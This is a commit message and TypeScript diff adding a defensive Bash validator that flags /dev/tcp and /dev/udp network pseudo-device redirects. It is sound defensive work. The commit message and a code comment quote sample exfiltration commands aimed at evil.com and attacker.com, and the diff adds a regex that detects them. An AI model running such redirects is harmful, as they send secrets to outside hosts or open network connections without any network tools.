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fix: 添加 /dev/tcp /dev/udp 网络伪设备重定向安全检测
Bash 支持 /dev/tcp/host/port 和 /dev/udp/host/port 伪设备路径, 攻击者可通过重定向实现网络数据泄露而无需任何网络工具: echo "secrets" > /dev/tcp/evil.com/4444 新增 validateNetworkDeviceRedirect 安全验证器,在 bashSecurity.ts 的同步和异步验证器列表中均注册。同时补全了反斜杠转义和复合命令 安全场景的测试覆盖(42 个测试用例)。 Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
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@@ -98,6 +98,7 @@ const BASH_SECURITY_CHECK_IDS = {
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BACKSLASH_ESCAPED_OPERATORS: 21,
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COMMENT_QUOTE_DESYNC: 22,
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QUOTED_NEWLINE: 23,
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NETWORK_DEVICE_REDIRECT: 24,
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} as const
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type ValidationContext = {
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@@ -2241,6 +2242,46 @@ function validateZshDangerousCommands(
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}
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}
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/**
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* Detects usage of Bash's network pseudo-device paths /dev/tcp/ and /dev/udp/.
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*
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* SECURITY: Bash interprets /dev/tcp/host/port and /dev/udp/host/port as
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* network connections when used in redirects or as arguments to commands
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* like cat. This allows data exfiltration without any network tools:
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*
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* echo "secrets" > /dev/tcp/evil.com/4444
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* cat < /dev/tcp/evil.com/8080
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* exec 3<>/dev/udp/evil.com/53
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* cat /dev/tcp/attacker.com/8080
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*
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* These paths are NOT real filesystem entries — they are intercepted by Bash
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* itself. Normal path validation (validatePath) cannot catch them because
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* the files don't exist on disk.
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*/
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const NETWORK_DEVICE_PATH_RE =
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/\/dev\/(tcp|udp)\/[^/\s"'`$]+\/\d+/i
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function validateNetworkDeviceRedirect(
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context: ValidationContext,
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): PermissionResult {
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// Check in fullyUnquotedContent to catch quoted variants like "/dev/tcp/..."
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if (NETWORK_DEVICE_PATH_RE.test(context.fullyUnquotedContent)) {
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logEvent('tengu_bash_security_check_triggered', {
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checkId: BASH_SECURITY_CHECK_IDS.NETWORK_DEVICE_REDIRECT,
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})
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return {
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behavior: 'ask',
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message:
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'Command uses /dev/tcp or /dev/udp network pseudo-device which can be used for network access',
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}
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}
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return {
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behavior: 'passthrough',
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message: 'No network device redirects',
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}
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}
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// Matches non-printable control characters that have no legitimate use in shell
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// commands: 0x00-0x08, 0x0B-0x0C, 0x0E-0x1F, 0x7F. Excludes tab (0x09),
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// newline (0x0A), and carriage return (0x0D) which are handled by other
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@@ -2372,6 +2413,7 @@ export function bashCommandIsSafe_DEPRECATED(
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validateMidWordHash,
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validateBraceExpansion,
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validateZshDangerousCommands,
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validateNetworkDeviceRedirect,
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// Run malformed token check last - other validators should catch specific patterns first
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// (e.g., $() substitution, backticks, etc.) since they have more precise error messages
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validateMalformedTokenInjection,
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@@ -2565,6 +2607,7 @@ export async function bashCommandIsSafeAsync_DEPRECATED(
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validateMidWordHash,
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validateBraceExpansion,
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validateZshDangerousCommands,
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validateNetworkDeviceRedirect,
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validateMalformedTokenInjection,
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]
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